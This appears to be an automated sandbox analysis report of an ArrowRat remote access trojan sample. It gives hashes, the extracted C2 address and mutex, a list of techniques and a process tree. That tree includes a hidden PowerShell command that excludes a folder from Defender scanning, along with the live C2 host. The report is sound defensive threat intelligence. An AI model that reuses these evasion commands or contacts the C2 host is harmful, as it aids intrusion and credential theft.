Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240730-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-08-2024 11:18

General

  • Target

    Client.exe

  • Size

    158KB

  • MD5

    ed0eb58e701a62ef732db4bb2223565e

  • SHA1

    882f556e08047535c88f33eb7a53652134d1081f

  • SHA256

    01b5d985ba53c1d789b144694e179d04c8c0ff95e88659ce9e8b9b6e77f357ff

  • SHA512

    f7395647176b2a3ff456eda2924bb2fa3fe507bacf93933bfb0588c03a7a87ab8b0339ca2f8b258a9acb7b5d68cd8aae948382251ea274e0dd8d81360890ced2

  • SSDEEP

    3072:wbziH+0OoCthfbEFtbcfjF45gjryKKqH6JY2doszEmQotEPPcfPYdO8Y:wbzie0ODhTEPgnjuIJzo+PPcfPYQ8

Malware Config

Extracted

Family

arrowrat

Botnet

Client1

C2

and-statements.gl.at.ply.gg:43442

Mutex

JeaMEllZK

Signatures

  • ArrowRat

    Remote access tool with various capabilities first seen in late 2021.

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 22 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 39 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Suspicious use of FindShellTrayWindow 49 IoCs
  • Suspicious use of SendNotifyMessage 21 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4160
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      2⤵
      • Boot or Logon Autostart Execution: Active Setup
      • Enumerates connected drives
      • Checks SCSI registry key(s)
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4304
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client1 and-statements.gl.at.ply.gg 43442 JeaMEllZK
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4548
    • C:\Windows\System32\ComputerDefaults.exe
      "C:\Windows\System32\ComputerDefaults.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5036
      • C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
        "PowerShell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Pan\dora'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1972
  • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
    "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:2536
  • C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
    "C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe" -ServerName:CortanaUI.AppX8z9r6jm96hw4bsbneegw0kyxx296wr9t.mca
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:712

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133669847234094551.txt
    Filesize

    75KB

    MD5

    b2210f896a8b3297f365ce4cc38b51c7

    SHA1

    be42281c07df1415b45f671d47dabd04ef5a29eb

    SHA256

    97e306cd9d5dcdc4fe458132a1782ef4c5bb3abe5e2ae740c1c70f2c3c644c85

    SHA512

    a744abc60f7a7398fc002f4b4cfeb0f09eb4fc7f1d388c4b8a2734134c3050369a496c3493c863ca715438db579fc7f68f2799787853e026d74e8c6a9688abab

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qcvycrya.qhl.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\temp0923
    Filesize

    10B

    MD5

    82c8be87d88e7d1ce57025d03b210d8e

    SHA1

    20c356eacf2c03c0a254c83d130c7e12d689f7c9

    SHA256

    7e26471598288821940284c3a32dc53a0b487c73f4bfa76938f52d495d88bcaf

    SHA512

    27930195026f54f68a2a8a251a26d045106a3e9d8975670c9b8a354c9e4dd8d75fa7e269550d71b8ac5e702b23b31c47e72dee50e2774a2382f890cbe6abc77d

  • memory/712-56-0x000002CAD1410000-0x000002CAD1430000-memory.dmp
    Filesize

    128KB

  • memory/712-44-0x000002CAD1000000-0x000002CAD1020000-memory.dmp
    Filesize

    128KB

  • memory/712-38-0x000002CAD1040000-0x000002CAD1060000-memory.dmp
    Filesize

    128KB

  • memory/712-34-0x000002C2CED00000-0x000002C2CEE00000-memory.dmp
    Filesize

    1024KB

  • memory/712-33-0x000002C2CED00000-0x000002C2CEE00000-memory.dmp
    Filesize

    1024KB

  • memory/1972-28-0x000001F077E20000-0x000001F07803C000-memory.dmp
    Filesize

    2.1MB

  • memory/1972-24-0x000001F077DD0000-0x000001F077DF2000-memory.dmp
    Filesize

    136KB

  • memory/4160-25-0x00007FF886DE0000-0x00007FF8878A1000-memory.dmp
    Filesize

    10.8MB

  • memory/4160-0-0x00007FF886DE3000-0x00007FF886DE5000-memory.dmp
    Filesize

    8KB

  • memory/4160-1-0x000002C36E630000-0x000002C36E65E000-memory.dmp
    Filesize

    184KB

  • memory/4160-206-0x00007FF886DE3000-0x00007FF886DE5000-memory.dmp
    Filesize

    8KB

  • memory/4160-208-0x00007FF886DE0000-0x00007FF8878A1000-memory.dmp
    Filesize

    10.8MB

  • memory/4304-32-0x0000000002F80000-0x0000000002F81000-memory.dmp
    Filesize

    4KB

  • memory/4548-10-0x0000000005E40000-0x0000000005E90000-memory.dmp
    Filesize

    320KB

  • memory/4548-7-0x0000000005590000-0x00000000055F6000-memory.dmp
    Filesize

    408KB

  • memory/4548-6-0x0000000005690000-0x0000000005C34000-memory.dmp
    Filesize

    5.6MB

  • memory/4548-5-0x0000000004EB0000-0x0000000004F4C000-memory.dmp
    Filesize

    624KB

  • memory/4548-4-0x0000000004DA0000-0x0000000004E32000-memory.dmp
    Filesize

    584KB

  • memory/4548-2-0x0000000000400000-0x0000000000418000-memory.dmp
    Filesize

    96KB